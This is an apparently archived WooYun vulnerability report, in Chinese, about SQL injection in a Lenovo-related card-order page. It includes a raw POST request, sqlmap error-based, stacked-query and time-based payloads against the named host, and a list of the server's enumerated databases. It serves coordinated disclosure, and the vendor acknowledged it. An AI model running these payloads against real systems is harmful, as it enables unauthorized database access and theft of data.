当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2015-0108627

漏洞标题：联想某站存在SQL注入

相关厂商：联想

漏洞作者： 深度安全实验室

提交时间：2015-04-20 17:05

修复时间：2015-06-05 11:38

公开时间：2015-06-05 11:38

漏洞类型：SQL注射漏洞

危害等级：高

自评Rank：15

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2015-04-20： 细节已通知厂商并且等待厂商处理中
2015-04-21： 厂商已经确认，细节仅向厂商公开
2015-05-01： 细节向核心白帽子及相关领域专家公开
2015-05-11： 细节向普通白帽子公开
2015-05-21： 细节向实习白帽子公开
2015-06-05： 细节向公众公开

简要描述：

详细说明：

http://3c.ecare365.com/newtc2/ordered.aspx

存在SQL注入：

POST /newtc2/ordered.aspx?uin=%27 HTTP/1.1
Host: 3c.ecare365.com
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:22.0) Gecko/20100101 Firefox/22.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://3c.ecare365.com/newtc2/ordered.aspx?uin=%27
Cookie: pgv_pvi=8866345984; pgv_si=s8493341696; ASP.NET_SessionId=flcqpj0ffqqryuoemzwkmu14; Hm_lvt_e470a54eb117cc95ee48dd7993073477=1429256455,1429256848; Hm_lpvt_e470a54eb117cc95ee48dd7993073477=1429256892
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 323
__VIEWSTATE=%2FwEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=%2FwEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp%2BYtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe%2BblFxvXE7uumV5M34O%2FGfAV4V4n0wgFZHr3c%3D&cardinput=12345698&cardbtn=

cardinput参数

漏洞证明：

11.JPG

sqlmap identified the following injection points with a total of 70 HTTP(s) requests:
---
Place: POST
Parameter: cardinput
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698' AND 2031=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(113)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (2031=2031) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(101)+CHAR(98)+CHAR(113))) AND 'WYlk'='WYlk&cardbtn=
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698'; WAITFOR DELAY '0:0:5'--&cardbtn=
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698' WAITFOR DELAY '0:0:5'--&cardbtn=
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
sqlmap identified the following injection points with a total of 0 HTTP(s) requests:
---
Place: POST
Parameter: cardinput
    Type: error-based
    Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698' AND 2031=CONVERT(INT,(SELECT CHAR(113)+CHAR(106)+CHAR(113)+CHAR(102)+CHAR(113)+(SELECT (CASE WHEN (2031=2031) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(105)+CHAR(101)+CHAR(98)+CHAR(113))) AND 'WYlk'='WYlk&cardbtn=
    Type: stacked queries
    Title: Microsoft SQL Server/Sybase stacked queries
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698'; WAITFOR DELAY '0:0:5'--&cardbtn=
    Type: AND/OR time-based blind
    Title: Microsoft SQL Server/Sybase time-based blind
    Payload: __VIEWSTATE=/wEPDwUJNzUyOTA1Mzk5D2QWAgIDD2QWAgICDw8WAh4EVGV4dAUq4oCc44CA55S16ISR6Zeu6aKY77yM5oiR5Lus5biu5oKo77yB44CA4oCdZGRk&__EVENTVALIDATION=/wEdAAacwoxMeuyqCckmdTfdYRBc1Fx0Dp+YtO3oaGnd3ehMCm45ClMZadiH5xVCza3DNKN20QFW4Oqa6gGN9gHkhfNmIvo40Pe+blFxvXE7uumV5M34O/GfAV4V4n0wgFZHr3c=&cardinput=12345698' WAITFOR DELAY '0:0:5'--&cardbtn=
---
web server operating system: Windows 2008 R2 or 7
web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5
back-end DBMS: Microsoft SQL Server 2008
available databases [15]:
[*] caishenghuo
[*] lxjcards
[*] master
[*] model
[*] msdb
[*] newtc
[*] newtc2
[*] Portal
[*] ReportServer
[*] ReportServerTempDB
[*] Rto
[*] sogou
[*] tecent
[*] tempdb
[*] Unicom2

修复方案：

版权声明：转载请注明来源 深度安全实验室@乌云

漏洞回应

厂商回应：

危害等级：高

漏洞Rank：13

确认时间：2015-04-21 11:37

厂商回复：

感谢您对联想信息安全工作的关注与支持！
联想于2015年4月3日启用安全应急响应中心（LSRC），欢迎大家向我们反馈联想产品、服务和业务系统的安全漏洞，以帮助我们提升产品和业务的安全性。相关细则请登录安全应急响应中心站点(http:// )
1. 4月联想组织双倍积分回馈活动！
2. 4月杰出贡献奖，Ipad Air2一台！

最新状态：

暂无